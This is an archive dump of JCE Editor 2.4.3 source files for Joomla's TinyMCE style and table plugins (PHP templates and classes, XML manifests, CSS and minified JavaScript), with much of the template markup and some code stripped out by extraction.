    com_jce/editor/tiny_mce/plugins/style/tmpl/text.php000066600000010752150771500630016547 0ustar00
     
     
    com_jce/editor/tiny_mce/plugins/style/tmpl/block.php000066600000006063150771500630016655 0ustar00
     
     
     
    com_jce/editor/tiny_mce/plugins/style/tmpl/positioning.php000066600000016722150771500630020130 0ustar00
       
     
       
     
       
     
     
     
     
     
     
     
     
     
     
    com_jce/editor/tiny_mce/plugins/style/tmpl/background.php000066600000005463150771500630017705 0ustar00
     
     
    com_jce/editor/tiny_mce/plugins/style/classes/style.php000066600000003507150771500630017404 0ustar00 true)); } /** * Display the plugin */ public function display() { parent::display(); $document = WFDocument::getInstance(); $document->addScript(array('style'), 'plugins'); $document->addStyleSheet(array('style'), 'plugins'); $settings = $this->getSettings(); $document->addScriptDeclaration('StyleDialog.settings=' . json_encode($settings) . ';'); $tabs = WFTabs::getInstance(array( 'base_path' => WF_EDITOR_PLUGIN )); // Add tabs $tabs->addTab('text'); $tabs->addTab('background'); $tabs->addTab('block'); $tabs->addTab('box'); $tabs->addTab('border'); $tabs->addTab('list'); $tabs->addTab('positioning'); } public function getSettings() { $profile = $this->getProfile(); $settings = array( 'file_browser' => $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins)), ); return parent::getSettings($settings); } } ?> com_jce/editor/tiny_mce/plugins/style/classes/index.html000066600000000054150771500630017522 0ustar00com_jce/editor/tiny_mce/plugins/style/style.php000066600000001152150771500630015741 0ustar00execute(); ?> com_jce/editor/tiny_mce/plugins/style/index.html000066600000000054150771500630016065 0ustar00com_jce/editor/tiny_mce/plugins/style/style.xml000066600000001231150771500630015750 0ustar00 WF_STYLE_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_STYLE_DESC style com_jce/editor/tiny_mce/plugins/style/css/index.html000066600000000054150771500630016655 0ustar00com_jce/editor/tiny_mce/plugins/style/css/style.css000066600000002067150771500630016540 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ #text_font{width:250px;}#text_size{width:70px;}.mceAddSelectValue{background:#DDD;}select,#block_text_indent,#box_width,#box_height,#box_padding_top,#box_padding_right,#box_padding_bottom,#box_padding_left{width:70px;}#box_margin_top,#box_margin_right,#box_margin_bottom,#box_margin_left,#positioning_width,#positioning_height,#positioning_zindex{width:70px;}#positioning_placement_top,#positioning_placement_right,#positioning_placement_bottom,#positioning_placement_left{width:70px;}#positioning_clip_top,#positioning_clip_right,#positioning_clip_bottom,#positioning_clip_left{width:70px;}.ui-tabs-panel{height:270px;}.delim{border-left:1px solid gray;}.tdelim{border-bottom:1px solid gray;}#block_display{width:145px;}#list_type{width:115px;}.disabled{background:#EEE;}#background_image,#list_bullet_image{width:300px;}.panel_toggle_insert_span{padding-top:10px;}com_jce/editor/tiny_mce/plugins/style/editor_plugin.js000066600000003073150771500630017276 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){tinymce.create('tinymce.plugins.StylePlugin',{init:function(ed,url){ed.addCommand('mceStyleProps',function(){var applyStyleToBlocks=false;var blocks=ed.selection.getSelectedBlocks();var styles=[];if(blocks.length===1){styles.push(ed.selection.getNode().style.cssText);} else{tinymce.each(blocks,function(block){styles.push(ed.dom.getAttrib(block,'style'));});applyStyleToBlocks=true;} ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=style',width:620+parseInt(ed.getLang('style.delta_width',0)),height:360+parseInt(ed.getLang('style.delta_height',0)),inline:1,popup_css:false},{applyStyleToBlocks:applyStyleToBlocks,plugin_url:url,styles:styles});});ed.addCommand('mceSetElementStyle',function(ui,v){if(e=ed.selection.getNode()){ed.dom.setAttrib(e,'style',v);ed.execCommand('mceRepaint');}});ed.onNodeChange.add(function(ed,cm,n){cm.setDisabled('style',(n.nodeName==='BODY'||(n.nodeName==='BR'&&n.getAttribute('data-mce-bogus'))));});ed.addButton('style',{title:'style.desc',cmd:'mceStyleProps'});},getInfo:function(){return{longname:'Style',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style',version:tinymce.majorVersion+"."+tinymce.minorVersion};}});tinymce.PluginManager.add('style',tinymce.plugins.StylePlugin);})();com_jce/editor/tiny_mce/plugins/table/js/table.js000066600000052077150771500630016074 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var TableDialog={settings:{},init:function(){var self=this,ed=tinyMCEPopup.editor,context=tinyMCEPopup.getWindowArg('context','table');this.html5=ed.settings.schema==="html5";if(!this.settings.file_browser){$('input.browser').removeClass('browser');} $.Plugin.init();if(context=='merge'){return this.initMerge();} addClassesToList('classlist',"table_styles");if(this.html5){$('#axis, #abbr, #scope, #summary, #char, #charoff, #tframe, #nowrap, #rules, #cellpadding, #cellspacing').each(function(){$(this).add('label[for="'+this.id+'"]').parent().hide();});function styles(v){if(typeof v==="undefined"){return tinyMCEPopup.dom.parseStyle($('#style').val());} $('#style').val(tinyMCEPopup.dom.serializeStyle(v));} $('#valign').change(function(){var st=styles();st['vertical-align']=$(this).val();styles(st);});$('#align').change(function(){var st=styles(),v=$(this).val();if(v==="center"){st.float="";st['margin-left']=st['margin-right']="auto";}else{st['float']=v;st['margin-left']=st['margin-right']="";} styles(st);});$('#border').replaceWith('');} switch(context){case'table':this.initTable();break;case'cell':this.initCell();break;case'row':this.initRow();break;} $('body').addClass(this.settings.context);tinyMCEPopup.resizeToInnerSize();},insert:function(){var context=tinyMCEPopup.getWindowArg('context','table');switch(context){case'table':this.insertTable();break;case'cell':this.updateCells();break;case'row':this.updateRows();break;case'merge':this.merge();break;}},initMerge:function(){$('#numcols').val(tinyMCEPopup.getWindowArg('cols',1));$('#numrows').val(tinyMCEPopup.getWindowArg('rows',1));$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));},updateClassList:function(cls){if(!cls){return;} $('#classlist').val(function(){var n=this,a=cls.split(' '),r=[];$.each(a,function(i,v){if(v.indexOf('mceItem')==-1){if($('option[value="'+v+'"]',n).length==0){$(n).append(new Option(v,v));} r.push(v);}});return r;}).change();},initTable:function(){var ed=tinyMCEPopup.editor;var elm=ed.dom.getParent(ed.selection.getNode(),"table");var action=tinyMCEPopup.getWindowArg('action');if(!action){action=elm?"update":"insert";} if(elm&&action!="insert"){var rowsAr=elm.rows;var cols=0;for(var i=0;icols){cols=rowsAr[i].cells.length;}} $('#align').val(function(){var v=ed.dom.getAttrib(elm,'align')||ed.dom.getStyle(elm,'float');if(v){return v;} if(ed.dom.getStyle(elm,'margin-left')==="auto"&&ed.dom.getStyle(elm,'margin-right')==="auto"){return"center";} return"";});$('#tframe').val(ed.dom.getAttrib(elm,'frame'));$('#rules').val(ed.dom.getAttrib(elm,'rules'));var cls=ed.dom.getAttrib(elm,'class');cls=cls.replace(/(?:^|\s)mceItem(\w+)(?!\S)/g,'');this.updateClassList(cls);$('#classes').val(cls);$('#cols').val(cols);$('#rows').val(rowsAr.length);var border=trimSize(getStyle(elm,'border','borderWidth'));border=border.replace(/[\D]/g,'');if($('#border').is(':checkbox')){$('#border').prop('checked',border==1);}else{$('#border').val(border);} $('#cellpadding').val(ed.dom.getAttrib(elm,'cellpadding',""));$('#cellspacing').val(ed.dom.getAttrib(elm,'cellspacing',""));$('#width').val(trimSize(getStyle(elm,'width','width')));$('#height').val(trimSize(getStyle(elm,'height','height')));$('#bordercolor').val(convertRGBToHex(getStyle(elm,'bordercolor','borderLeftColor'))).change();$('#bgcolor').val(convertRGBToHex(getStyle(elm,'bgcolor','backgroundColor'))).change();$('#id').val(ed.dom.getAttrib(elm,'id'));$('#summary').val(ed.dom.getAttrib(elm,'summary'));$('#style').val(ed.dom.serializeStyle(ed.dom.parseStyle(ed.dom.getAttrib(elm,"style"))));$('#dir').val(ed.dom.getAttrib(elm,'dir'));$('#lang').val(ed.dom.getAttrib(elm,'lang'));$('#backgroundimage').val(getStyle(elm,'background','backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)",'gi'),"$1"));$('#caption').prop('checked',elm.getElementsByTagName('caption').length>0);this.orgTableWidth=$('#width').val();this.orgTableHeight=$('#height').val();$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));}else{$.Plugin.setDefaults(this.settings.defaults);} if($('#backgroundimagebrowser').is(':visible')){$('#backgroundimage').width(180);} if(action=="update"){$('#cols, #rows').prop('disabled',true);}},initRow:function(){var self=this,ed=tinyMCEPopup.editor,dom=tinyMCEPopup.dom;var trElm=dom.getParent(ed.selection.getStart(),"tr");var st=dom.parseStyle(dom.getAttrib(trElm,"style"));var rowtype=trElm.parentNode.nodeName.toLowerCase();var align=dom.getAttrib(trElm,'align');var valign=dom.getAttrib(trElm,'valign')||getStyle(trElm,'vertical-align');var height=trimSize(getStyle(trElm,'height','height'));var className=dom.getAttrib(trElm,'class');var bgcolor=convertRGBToHex(getStyle(trElm,'bgcolor','backgroundColor'));var backgroundimage=getStyle(trElm,'background','backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)",'gi'),"$1");var id=dom.getAttrib(trElm,'id');var lang=dom.getAttrib(trElm,'lang');var dir=dom.getAttrib(trElm,'dir');$('#rowtype').change(function(){self.setActionforRowType();}).val(rowtype).change();if(dom.select('td.mceSelected,th.mceSelected',trElm).length==0){$('#bgcolor').val(bgcolor).change();$('#backgroundimage').val(backgroundimage);$('#height').val(height);$('#id').val(id);$('#lang').val(lang);$('#style').val(dom.serializeStyle(st));$('#align').val(align);$('#valign').val(valign);className=className.replace(/(?:^|\s)mceItem(\w+)(?!\S)/g,'');this.updateClassList(className);$('#dir').val(dir);if($('#backgroundimagebrowser').is(':visible')){$('#backgroundimage').width(180);} $('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));}else{$('#action').hide();}},initCell:function(){var ed=tinyMCEPopup.editor,dom=ed.dom;var tdElm=dom.getParent(ed.selection.getStart(),"td,th");var st=dom.parseStyle(dom.getAttrib(tdElm,"style"));var celltype=tdElm.nodeName.toLowerCase();var align=dom.getAttrib(tdElm,'align');var valign=dom.getAttrib(tdElm,'valign')||getStyle(tdElm,'vertical-align');var width=trimSize(getStyle(tdElm,'width','width'));var height=trimSize(getStyle(tdElm,'height','height'));var bordercolor=convertRGBToHex(getStyle(tdElm,'bordercolor','borderLeftColor'));var bgcolor=convertRGBToHex(getStyle(tdElm,'bgcolor','backgroundColor'));var className=dom.getAttrib(tdElm,'class');var backgroundimage=getStyle(tdElm,'background','backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)",'gi'),"$1");var id=dom.getAttrib(tdElm,'id');var lang=dom.getAttrib(tdElm,'lang');var dir=dom.getAttrib(tdElm,'dir');var scope=dom.getAttrib(tdElm,'scope');if(!dom.hasClass(tdElm,'mceSelected')){$('#bordercolor').val(bordercolor).change();$('#bgcolor').val(bgcolor).change();$('#backgroundimage').val(backgroundimage);$('#width').val(width);$('#height').val(height);$('#id').val(id);$('#lang').val(lang);$('#style').val(dom.serializeStyle(st));$('#align').val(align);$('#valign').val(valign);className=className.replace(/(?:^|\s)mceItem(\w+)(?!\S)/g,'');this.updateClassList(className);$('#dir').val(dir);$('#celltype').val(celltype);$('#scope').val(scope);if($('#backgroundimagebrowser').is(':visible')){$('#backgroundimage').width(180);} $('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));}else{$('#action').hide();}},merge:function(){var func;tinyMCEPopup.restoreSelection();func=tinyMCEPopup.getWindowArg('onaction');func({cols:$('#numcols').val(),rows:$('#numrows').val()});tinyMCEPopup.close();},insertTable:function(){var ed=tinyMCEPopup.editor,dom=ed.dom;tinyMCEPopup.restoreSelection();var elm=ed.dom.getParent(ed.selection.getNode(),"table");var action=tinyMCEPopup.getWindowArg('action');if(!action){action=elm?"update":"insert";} var cols=2,rows=2,border=0,cellpadding=-1,cellspacing=-1,align,width,height,className,caption,frame,rules;var html='',capEl,elm;var cellLimit,rowLimit,colLimit;if(!AutoValidator.validate($('form').get(0))){tinyMCEPopup.alert(ed.getLang('invalid_data'));return false;} cols=$('#cols').val();rows=$('#rows').val();border=$('#border').val()!=""?$('#border').val():0;cellpadding=$('#cellpadding').val()!=""?$('#cellpadding').val():"";cellspacing=$('#cellspacing').val()!=""?$('#cellspacing').val():"";align=$("#align").val();frame=$("#tframe").val();rules=$("#rules").val();width=$('#width').val();height=$('#height').val();bordercolor=$('#bordercolor').val();bgcolor=$('#bgcolor').val();className=$("#classes").val();id=$('#id').val();summary=$('#summary').val();style=$('#style').val();dir=$('#dir').val();lang=$('#lang').val();background=$('#backgroundimage').val();caption=$('#caption').is(':checked');if($('#border').is(':checkbox')){border=$('#border').is(':checked')?'1':'';} if(action=="update"){ed.execCommand('mceBeginUndoLevel');if(!this.html5){dom.setAttrib(elm,'cellPadding',cellpadding,true);dom.setAttrib(elm,'cellSpacing',cellspacing,true);} if(!this.isCssSize(border)){dom.setAttrib(elm,'border',border);}else{dom.setAttrib(elm,'border','');} if(border==''){dom.setStyle(elm,'border-width','');dom.setStyle(elm,'border','');dom.setAttrib(elm,'border','');} dom.setAttrib(elm,'align',align);dom.setAttrib(elm,'frame',frame);dom.setAttrib(elm,'rules',rules);dom.setAttrib(elm,'class',className);dom.setAttrib(elm,'style',style);dom.setAttrib(elm,'id',id);dom.setAttrib(elm,'summary',summary);dom.setAttrib(elm,'dir',dir);dom.setAttrib(elm,'lang',lang);capEl=ed.dom.select('caption',elm)[0];if(capEl&&!caption){capEl.parentNode.removeChild(capEl);} if(!capEl&&caption){capEl=elm.ownerDocument.createElement('caption');if(!tinymce.isIE||tinymce.isIE11){capEl.innerHTML='
    ';} elm.insertBefore(capEl,elm.firstChild);} if(width&&ed.settings.inline_styles){dom.setStyle(elm,'width',width);dom.setAttrib(elm,'width','');}else{dom.setAttrib(elm,'width',width,true);dom.setStyle(elm,'width','');} dom.setAttrib(elm,'borderColor','');dom.setAttrib(elm,'bgColor','');dom.setAttrib(elm,'background','');if(height&&ed.settings.inline_styles){dom.setStyle(elm,'height',height);dom.setAttrib(elm,'height','');}else{dom.setAttrib(elm,'height',height,true);dom.setStyle(elm,'height','');} if(background!=''){elm.style.backgroundImage="url('"+background+"')";}else{elm.style.backgroundImage='';} if(bordercolor!=""){elm.style.borderColor=bordercolor;elm.style.borderStyle=elm.style.borderStyle==""?"solid":elm.style.borderStyle;elm.style.borderWidth=this.cssSize(border);dom.setAttrib(elm,'border','');}else{elm.style.borderColor='';} elm.style.backgroundColor=bgcolor;elm.style.height=getCSSSize(height);ed.addVisual();ed.nodeChanged();ed.execCommand('mceEndUndoLevel',false,{},{skip_undo:true});if($('#width').val()!=this.orgTableWidth||$('#height').val()!=this.orgTableHeight){ed.execCommand('mceRepaint');} tinyMCEPopup.close();return true;} html+='';if(caption){if(!tinymce.isIE||tinymce.isIE11){html+='
    ';}else{html+='';}} for(var y=0;y";for(var x=0;x
    ';}else{html+='';}} html+="";} html+="";ed.execCommand('mceBeginUndoLevel');if(ed.settings.fix_table_elements){var patt='';ed.focus();ed.selection.setContent('
    ');tinymce.each('h1,h2,h3,h4,h5,h6,p'.split(','),function(n){if(patt){patt+=',';} patt+=n+' ._mce_marker';});tinymce.each(ed.dom.select(patt),function(n){ed.dom.split(ed.dom.getParent(n,'h1,h2,h3,h4,h5,h6,p'),n);});dom.setOuterHTML(dom.select('br._mce_marker')[0],html);}else{ed.execCommand('mceInsertContent',false,html);} tinymce.each(dom.select('table[data-mce-new]'),function(node){var tdorth=dom.select('td,th',node);if(tinymce.isIE&&!tinymce.isIE11&&node.nextSibling==null){if(ed.settings.forced_root_block) dom.insertAfter(dom.create(ed.settings.forced_root_block),node);else dom.insertAfter(dom.create('br',{'data-mce-bogus':'1'}),node);} try{ed.selection.setCursorLocation(tdorth[0],0);}catch(ex){} dom.setAttrib(node,'data-mce-new','');});ed.addVisual();ed.execCommand('mceEndUndoLevel',false,{},{skip_undo:true});tinyMCEPopup.close();},updateCells:function(){var self=this,el,ed=tinyMCEPopup.editor,inst=ed,tdElm,trElm,tableElm;tinyMCEPopup.restoreSelection();el=ed.selection.getStart();tdElm=ed.dom.getParent(el,"td,th");trElm=ed.dom.getParent(el,"tr");tableElm=ed.dom.getParent(el,"table");if(ed.dom.hasClass(tdElm,'mceSelected')){tinymce.each(ed.dom.select('td.mceSelected,th.mceSelected'),function(td){self.updateCell(td);});ed.addVisual();ed.nodeChanged();inst.execCommand('mceEndUndoLevel');tinyMCEPopup.close();return;} ed.execCommand('mceBeginUndoLevel');switch($('#action').val()){case"cell":var celltype=$('#celltype').val();var scope=$('#scope').val();function doUpdate(s){if(s){self.updateCell(tdElm);ed.addVisual();ed.nodeChanged();inst.execCommand('mceEndUndoLevel');tinyMCEPopup.close();}};if(ed.getParam("accessibility_warnings",1)){if(celltype=="th"&&scope==""){tinyMCEPopup.confirm(ed.getLang('table_dlg.missing_scope','',true),doUpdate);}else{doUpdate(1);} return;} this.updateCell(tdElm);break;case"row":var cell=trElm.firstChild;if(cell.nodeName!="TD"&&cell.nodeName!="TH"){cell=this.nextCell(cell);} do{cell=this.updateCell(cell,true);}while((cell=this.nextCell(cell))!=null);break;case"all":var rows=tableElm.getElementsByTagName("tr");for(var i=0;i/g,'>');return' '+attrib+'="'+value+'"';},updateRows:function(){var self=this,ed=tinyMCEPopup.editor,dom=ed.dom,trElm,tableElm;var action=$('#action').val();tinyMCEPopup.restoreSelection();trElm=dom.getParent(ed.selection.getStart(),"tr");tableElm=dom.getParent(ed.selection.getStart(),"table");if(dom.select('td.mceSelected,th.mceSelected',trElm).length>0){tinymce.each(tableElm.rows,function(tr){var i;for(i=0;icom_jce/editor/tiny_mce/plugins/table/tmpl/merge.php000066600000002047150771500630016607 0ustar00
    :
    :
    com_jce/editor/tiny_mce/plugins/table/tmpl/general_table.php000066600000006647150771500630020306 0ustar00

    com_jce/editor/tiny_mce/plugins/table/tmpl/default.php000066600000003170150771500630017132 0ustar00
    render(); ?>
    plugin->getContext() == 'cell') : ?>
    plugin->getContext() == 'row') : ?>
    com_jce/editor/tiny_mce/plugins/table/tmpl/advanced.php000066600000014427150771500630017262 0ustar00

    plugin->getContext() == 'table') : ?>
    com_jce/editor/tiny_mce/plugins/table/tmpl/index.html000066600000000054150771500630016770 0ustar00com_jce/editor/tiny_mce/plugins/table/tmpl/general.php000066600000001063150771500630017122 0ustar00loadTemplate($this->plugin->getContext()); ?> com_jce/editor/tiny_mce/plugins/table/tmpl/general_row.php000066600000004261150771500630020014 0ustar00

    com_jce/editor/tiny_mce/plugins/table/tmpl/general_cell.php000066600000006373150771500630020132 0ustar00

    com_jce/editor/tiny_mce/plugins/table/classes/index.html000066600000000054150771500630017451 0ustar00com_jce/editor/tiny_mce/plugins/table/classes/config.php000066600000003446150771500630017442 0ustar00getParam('table.width'); $height = $wf->getParam('table.height'); if ($width && preg_match('#^[0-9\.]$#', $width)) { $width .= 'px'; } if ($height && preg_match('#^[0-9\.]$#', $height)) { $height .= 'px'; } $settings['table_default_width'] = $width; $settings['table_default_height'] = $height; $settings['table_default_border'] = $wf->getParam('table.border', 0, 0); $settings['table_default_cellpadding'] = $wf->getParam('table.cellpadding', 0, 0); $settings['table_default_cellspacing'] = $wf->getParam('table.cellspacing', 0, 0); $settings['table_default_rows'] = $wf->getParam('table.rows', 2, 2); $settings['table_default_cols'] = $wf->getParam('table.cols', 2, 2); $settings['table_cell_limit'] = $wf->getParam('table.cell_limit', 0, 0); $settings['table_row_limit'] = $wf->getParam('table.row_limit', 0, 0); $settings['table_col_limit'] = $wf->getParam('table.col_limit', 0, 0); $settings['table_pad_empty_cells'] = $wf->getParam('table.pad_empty_cells', 1, 1); $settings['table_classes'] = $wf->getParam('table.classes', "", ""); } } ?>com_jce/editor/tiny_mce/plugins/table/classes/table.php000066600000004115150771500630017256 0ustar00 true)); } public function getContext() { return JRequest::getWord('context', 'table'); } /** * Display the plugin */ public function display() { parent::display(); $document = WFDocument::getInstance(); $document->addScript(array('table'), 'plugins'); $document->addStyleSheet(array('table'), 'plugins'); $settings = $this->getSettings(); $document->addScriptDeclaration('TableDialog.settings=' . json_encode($settings) . ';'); $tabs = WFTabs::getInstance(array('base_path' => WF_EDITOR_PLUGIN)); if ($this->getContext() == 'merge') { // Add tabs $tabs->addTab('merge'); } else { $tabs->addTab('general', 1, array('plugin' => $this)); $tabs->addTab('advanced', 1, array('plugin' => $this)); } } public function getSettings() { $profile = $this->getProfile(); $settings = array( 'file_browser' => $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins)), ); return parent::getSettings($settings); } /** * Get default parameters * @return string parameters */ public function getDefaults() { return parent::getDefaults(array()); } } ?> com_jce/editor/tiny_mce/plugins/table/table.xml000066600000010014150771500630015625 0ustar00 WF_TABLE_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_TABLE_DESC table_insert,delete_table,|,row_props,cell_props,|,row_before,row_after,delete_row,|,col_before,col_after,delete_col,|,split_cells,merge_cells com_jce/editor/tiny_mce/plugins/table/index.html000066600000000054150771500630016014 0ustar00com_jce/editor/tiny_mce/plugins/table/css/index.html000066600000000054150771500630016604 0ustar00com_jce/editor/tiny_mce/plugins/table/css/table.css000066600000000747150771500630016421 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .ui-tabs-panel{height:350px;}.advfield{width:200px;}#action{margin-bottom:3px;}#advanced_tab input[type="text"],#advanced_tab select{width:250px;}body.row .ui-tabs-panel,body.cell .ui-tabs-panel{height:330px;}#merge_tab.ui-tabs-panel{height:80px;}#width,#height{width:40px;}com_jce/editor/tiny_mce/plugins/table/table.php000066600000001176150771500630015625 0ustar00execute(); ?> com_jce/editor/tiny_mce/plugins/table/editor_plugin.js000066600000074264150771500630017237 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(tinymce){var each=tinymce.each;function isAtStart(rng,par){var doc=par.ownerDocument,rng2=doc.createRange(),elm;rng2.setStartBefore(par);rng2.setEnd(rng.endContainer,rng.endOffset);elm=doc.createElement('body');elm.appendChild(rng2.cloneContents());return elm.innerHTML.replace(/<(br|img|object|embed|input|textarea)[^>]*>/gi,'-').replace(/<[^>]+>/g,'').length==0;} function getSpanVal(td,name){return parseInt(td.getAttribute(name)||1);} function TableGrid(table,dom,selection){var grid,startPos,endPos,selectedCell;buildGrid();selectedCell=dom.getParent(selection.getStart(),'th,td');if(selectedCell){startPos=getPos(selectedCell);endPos=findEndPos();selectedCell=getCell(startPos.x,startPos.y);} function cloneNode(node,children){node=node.cloneNode(children);node.removeAttribute('id');return node;} function buildGrid(){var startY=0;grid=[];each(['thead','tbody','tfoot'],function(part){var rows=dom.select('> '+part+' tr',table);each(rows,function(tr,y){y+=startY;each(dom.select('> td, > th',tr),function(td,x){var x2,y2,rowspan,colspan;if(grid[y]){while(grid[y][x]) x++;} rowspan=getSpanVal(td,'rowspan');colspan=getSpanVal(td,'colspan');for(y2=y;y2';return false;}},'childNodes');cell=cloneNode(cell,false);setSpanVal(cell,'rowSpan',1);setSpanVal(cell,'colSpan',1);if(formatNode){cell.appendChild(formatNode);}else{if(!tinymce.isIE||tinymce.isIE11) cell.innerHTML='
    ';} return cell;} function cleanup(){var rng=dom.createRng();each(dom.select('tr',table),function(tr){if(tr.cells.length==0) dom.remove(tr);});if(dom.select('tr',table).length==0){rng.setStartAfter(table);rng.setEndAfter(table);selection.setRng(rng);dom.remove(table);return;} each(dom.select('thead,tbody,tfoot',table),function(part){if(part.rows.length==0) dom.remove(part);});buildGrid();row=grid[Math.min(grid.length-1,startPos.y)];if(row){selection.select(row[Math.min(row.length-1,startPos.x)].elm,true);selection.collapse(true);}} function fillLeftDown(x,y,rows,cols){var tr,x2,r,c,cell;tr=grid[y][x].elm.parentNode;for(r=1;r<=rows;r++){tr=dom.getNext(tr,'tr');if(tr){for(x2=x;x2>=0;x2--){cell=grid[y+r][x2].elm;if(cell.parentNode==tr){for(c=1;c<=cols;c++) dom.insertAfter(cloneCell(cell),cell);break;}} if(x2==-1){for(c=1;c<=cols;c++) tr.insertBefore(cloneCell(tr.cells[0]),tr.cells[0]);}}}} function split(){each(grid,function(row,y){each(row,function(cell,x){var colSpan,rowSpan,newCell,i;if(isCellSelected(cell)){cell=cell.elm;colSpan=getSpanVal(cell,'colspan');rowSpan=getSpanVal(cell,'rowspan');if(colSpan>1||rowSpan>1){setSpanVal(cell,'rowSpan',1);setSpanVal(cell,'colSpan',1);for(i=0;i1){setSpanVal(cell,'rowSpan',rowSpan+1);continue;}}else{if(posY>0&&grid[posY-1][x]){otherCell=grid[posY-1][x].elm;rowSpan=getSpanVal(otherCell,'rowSpan');if(rowSpan>1){setSpanVal(otherCell,'rowSpan',rowSpan+1);continue;}}} newCell=cloneCell(cell);setSpanVal(newCell,'colSpan',cell.colSpan);newRow.appendChild(newCell);lastCell=cell;}} if(newRow.hasChildNodes()){if(!before) dom.insertAfter(newRow,rowElm);else rowElm.parentNode.insertBefore(newRow,rowElm);}} function insertCol(before){var posX,lastCell;each(grid,function(row,y){each(row,function(cell,x){if(isCellSelected(cell)){posX=x;if(before) return false;}});if(before) return!posX;});each(grid,function(row,y){var cell,rowSpan,colSpan;if(!row[posX]) return;cell=row[posX].elm;if(cell!=lastCell){colSpan=getSpanVal(cell,'colspan');rowSpan=getSpanVal(cell,'rowspan');if(colSpan==1){if(!before){dom.insertAfter(cloneCell(cell),cell);fillLeftDown(posX,y,rowSpan-1,colSpan);}else{cell.parentNode.insertBefore(cloneCell(cell),cell);fillLeftDown(posX,y,rowSpan-1,colSpan);}}else setSpanVal(cell,'colSpan',cell.colSpan+1);lastCell=cell;}});} function deleteCols(){var cols=[];each(grid,function(row,y){each(row,function(cell,x){if(isCellSelected(cell)&&tinymce.inArray(cols,x)===-1){each(grid,function(row){var cell=row[x].elm,colSpan;colSpan=getSpanVal(cell,'colSpan');if(colSpan>1) setSpanVal(cell,'colSpan',colSpan-1);else dom.remove(cell);});cols.push(x);}});});cleanup();} function deleteRows(){var rows;function deleteRow(tr){var nextTr,pos,lastCell;nextTr=dom.getNext(tr,'tr');each(tr.cells,function(cell){var rowSpan=getSpanVal(cell,'rowSpan');if(rowSpan>1){setSpanVal(cell,'rowSpan',rowSpan-1);pos=getPos(cell);fillLeftDown(pos.x,pos.y,1,1);}});pos=getPos(tr.cells[0]);each(grid[pos.y],function(cell){var rowSpan;cell=cell.elm;if(cell!=lastCell){rowSpan=getSpanVal(cell,'rowSpan');if(rowSpan<=1) dom.remove(cell);else setSpanVal(cell,'rowSpan',rowSpan-1);lastCell=cell;}});} rows=getSelectedRows();each(rows.reverse(),function(tr){deleteRow(tr);});cleanup();} function cutRows(){var rows=getSelectedRows();dom.remove(rows);cleanup();return rows;} function copyRows(){var rows=getSelectedRows();each(rows,function(row,i){rows[i]=cloneNode(row,true);});return rows;} function pasteRows(rows,before){if(!rows) return;var selectedRows=getSelectedRows(),targetRow=selectedRows[before?0:selectedRows.length-1],targetCellCount=targetRow.cells.length;each(grid,function(row){var match;targetCellCount=0;each(row,function(cell,x){if(cell.real) targetCellCount+=cell.colspan;if(cell.elm.parentNode==targetRow) match=1;});if(match) return false;});if(!before) rows.reverse();each(rows,function(row){var cellCount=row.cells.length,cell;for(i=0;imaxX) maxX=x;if(y>maxY) maxY=y;if(cell.real){colSpan=cell.colspan-1;rowSpan=cell.rowspan-1;if(colSpan){if(x+colSpan>maxX) maxX=x+colSpan;} if(rowSpan){if(y+rowSpan>maxY) maxY=y+rowSpan;}}}});});return{x:maxX,y:maxY};} function setEndCell(cell){var startX,startY,endX,endY,maxX,maxY,colSpan,rowSpan;endPos=getPos(cell);if(startPos&&endPos){startX=Math.min(startPos.x,endPos.x);startY=Math.min(startPos.y,endPos.y);endX=Math.max(startPos.x,endPos.x);endY=Math.max(startPos.y,endPos.y);maxX=endX;maxY=endY;for(y=startY;y<=maxY;y++){cell=grid[y][startX];if(!cell.real){if(startX-(cell.colspan-1)maxX) maxX=x+colSpan;} if(rowSpan){if(y+rowSpan>maxY) maxY=y+rowSpan;}}}} dom.removeClass(dom.select('td.mceSelected,th.mceSelected'),'mceSelected');for(y=startY;y<=maxY;y++){for(x=startX;x<=maxX;x++){if(grid[y][x]) dom.addClass(grid[y][x].elm,'mceSelected');}}}} 